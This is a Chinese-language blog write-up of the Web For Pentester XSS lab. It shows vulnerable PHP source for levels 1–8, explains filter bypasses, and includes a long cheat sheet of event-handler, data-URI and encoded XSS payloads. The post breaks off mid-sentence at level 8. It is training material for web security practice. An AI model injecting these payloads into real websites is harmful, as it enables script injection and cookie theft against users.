XSS靶场

学习网站:https://www.sqlsec.com/2020/01/xss.html#Web-For-Pentester

靶场下载地址:https://isos.pentesterlab.com/web_for_pentester_i386.iso

Web For Pentester

靶场搭建

新建一个虚拟机

image-20260213145626139

image-20260213145629875

之后都默认设置下一步,改一下安装位置就好

查看IP地址

1
ifconfig

image-20260213145633802

访问这个地址就好啦

image-20260213145652418

靶场通关

Leval-1无任何过滤

源码

1
2
3
<?php
echo $_GET["name"];
?>

通过GET方式传参,参数为name变量

尝试payload

1
?name=XSS

image-20260213145648018

payload

1
?name=<script>alert('xss')</script>

弹窗显示xss

image-20260213145656407

Leval-2大小写绕过

尝试payload

1
?name=<script>alert('xss')</script>

image-20260213145702057

发现没有弹窗,说明可能存在waf,看回显了alert(‘xss’),那waf可能存在标签上

看了作者给的源码

1
2
3
4
5
6
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/","", $name);
$name = preg_replace("/<\/script>/","", $name);
echo $name;
?>

过滤了<script>,</script>,如果检测到会将其替换为空

可以利用大小写绕过

payload(这里不是唯一payload,可以任选字符改成大写)

1
?name=<Script>alert('xss')</Script>

image-20260213145708018

Leval-3嵌套绕过

源码

1
2
3
4
5
6
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/i","", $name);
$name = preg_replace("/<\/script>/i","", $name);
echo $name;
?>

这里正则匹配在上一关的基础上多了/i,表示不区分大小写了,那这里就不能用大小写绕过了

构造一个嵌套标签(这里嵌套的方式不固定)

1
<scr<script>ipt>

标签中完整的<script>被检测到后会被替换为空,剩下的能够拼接成<script>

payload

1
?name=<scr<script>ipt>alert('xss')</scr</script>ipt>

image-20260213145713122

Leval-4其他标签绕过

源码

1
2
3
4
5
6
7
8
<?php require_once '../header.php';

if (preg_match('/script/i', $_GET["name"])) {
die("error");
}
?>

Hello <?php echo $_GET["name"]; ?>

script被完全过滤了,因此上述两种方法都不能绕过了

但是可以通过其他标签触发js事件

payload

1
?name=<img src=x onerror=alert('xss')>

image-20260213145717277

其他标签绕过

0x01<a>标签
1
2
3
4
5
<a href="javascript:alert(1)">test</a>
<a href="x" onfocus="alert('xss');" autofocus="">xss</a>
<a href="x" onclick=eval("alert('xss');")>xss</a>
<a href="x" onmouseover="alert('xss');">xss</a>
<a href="x" onmouseout="alert('xss');">xss</a>
0x02. <img>标签
1
2
3
4
5
<img src=x onerror="alert(1)">
<img src=x onerror=eval("alert(1)")>
<img src=1 onmouseover="alert('xss');">
<img src=1 onmouseout="alert('xss');">
<img src=1 onclick="alert('xss');">
0x03. <iframe>标签
1
2
3
4
5
6
<iframe src="javascript:alert(1)">test</iframe>
<iframe onload="alert(document.cookie)"></iframe>
<iframe onload="alert('xss');"></iframe>
<iframe onload="base64,YWxlcnQoJ3hzcycpOw=="></iframe>
<iframe onmouseover="alert('xss');"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
0x04. <audio> 标签
1
2
3
4
<audio src=1 onerror=alert(1)>
<audio><source src="x" onerror="alert('xss');"></audio>
<audio controls onfocus=eval("alert('xss');") autofocus=""></audio>
<audio controls onmouseover="alert('xss');"><source src="x"></audio>
0x05. <video>标签
1
2
3
4
5
<video src=x onerror=alert(1)>
<video><source onerror="alert('xss');"></video>
<video controls onmouseover="alert('xss');"></video>
<video controls onfocus="alert('xss');" autofocus=""></video>
<video controls onclick="alert('xss');"></video>
0x06. <svg> 标签
1
2
<svg onload=javascript:alert(1)>
<svg onload="alert('xss');"></svg>
0x07. <button> 标签
1
2
3
4
5
6
7
<button onclick=alert(1)>
<button onfocus="alert('xss');" autofocus="">xss</button>
<button onclick="alert('xss');">xss</button>
<button onmouseover="alert('xss');">xss</button>
<button onmouseout="alert('xss');">xss</button>
<button onmouseup="alert('xss');">xss</button>
<button onmousedown="alert('xss');"></button>
0x08. <div>标签

这个需要url编码

1
2
3
4
原代码:
<div onmouseover='alert(1)'>DIV</div>
经过url编码:
<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv>
0x09.<object>标签

需要利用data伪协议和base64编码实现绕过

1
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>
0x10. <script> 标签
1
2
3
<script>alert('xss')</script>
<script>alert(/xss/)</script>
<script>alert(123)</script>
0x11. <p> 标签
1
2
3
4
<p onclick="alert('xss');">xss</p>
<p onmouseover="alert('xss');">xss</p>
<p onmouseout="alert('xss');">xss</p>
<p onmouseup="alert('xss');">xss</p>
0x12. <input> 标签
1
2
3
4
5
6
7
<input onclick="alert('xss');">
<input onfocus="alert('xss');">
<input onfocus="alert('xss');" autofocus="">
<input onmouseover="alert('xss');">
<input type="text" onkeydown="alert('xss');"></input>
<input type="text" onkeypress="alert('xss');"></input>
<input type="text" onkeydown="alert('xss');"></input>
0x13. <details>标签
1
2
3
<select onfocus="alert('xss');" autofocus></select>
<select onmouseover="alert('xss');"></select>
<select onclick=eval("alert('xss');")></select>
0x14. <select> 标签
1
2
3
<select onfocus="alert('xss');" autofocus></select>
<select onmouseover="alert('xss');"></select>
<select onclick=eval("alert('xss');")></select>
0x15. <form> 标签
1
2
3
<form method="x" action="x" onmouseover="alert('xss');"><input type=submit></form>
<form method="x" action="x" onmouseout="alert('xss');"><input type=submit></form>
<form method="x" action="x" onmouseup="alert('xss');"><input type=submit></form>
0x16. <body> 标签
1
<body onload="alert('xss');"></body>

Leval-5编码或其他方法绕过

源码

1
2
3
4
5
6
7
8
<?php require_once '../header.php';

if (preg_match('/alert/i', $_GET["name"])) {
die("error");
}
?>

Hello <?php echo $_GET["name"]; ?>

/alert/i这里对关键词进行了不区分大小写的过滤,可以使用其他类似alert的方法来弹窗

与alert类似的方法(可以弹窗)

  • prompt
  • confrm

payload1

1
2
?name=<script>confirm('XSS')</script>#会有xss弹窗显示
?name=<script>prompt('XSS')</script>#会有xss弹窗显示并伴有输入框

也可以通过String.fromCharCode()编码来绕过

1
2
3
alert('XSS')
#String.fromCharCode()编码后
String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41)

payload2

1
?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41))</script>

Leval-6闭合双引号

源码

1
2
3
<script>
var $a= "<?php echo $_GET["name"]; ?>";
</script>

image-20260213145724707

按照上一个payload只会打印出一个引号

分析源码

通过GET传参的方式,直接输出在Script标签里面,这里需要闭合前面的双引号”,然后就可以直接调用alert实现弹窗,结束再用一个双引号闭合后面的引号

payload1

1
?name=";alert('xss');"

也可以通过//直接注释掉后面的双引号这样后面就不用考虑闭合了

payload2

1
?name=";alert('xss');//

Leval-7闭合单引号

源码

1
2
3
<script>
var $a= '<?php echo htmlentities($_GET["name"]); ?>';
</script>

这个源码和上一题很像,注意到这里用的是单引号闭合

payload

1
2
?name=';alert('xss');'
?name=';alert('xss');//

Leval-8闭合单引号

源码

1
2
3
4
5
6
7
8
9
10
<?php
require_once '../header.php';

if (isset($_POST["name"])) {
echo "HELLO ".htmlentities($_POST["name"]);
}
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>

POST形式传参,参数是name,htmlentities()是实体化

1
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">

可以控制参数PHP_SELF,并且没有过滤直接输入到form标签中,所以这里通过闭合引号和标签,通过


XSS靶场
https://colourful228.github.io/2026/02/13/XSS靶场/
作者
Colourful
发布于
2026年2月13日
更新于
2026年2月13日
许可协议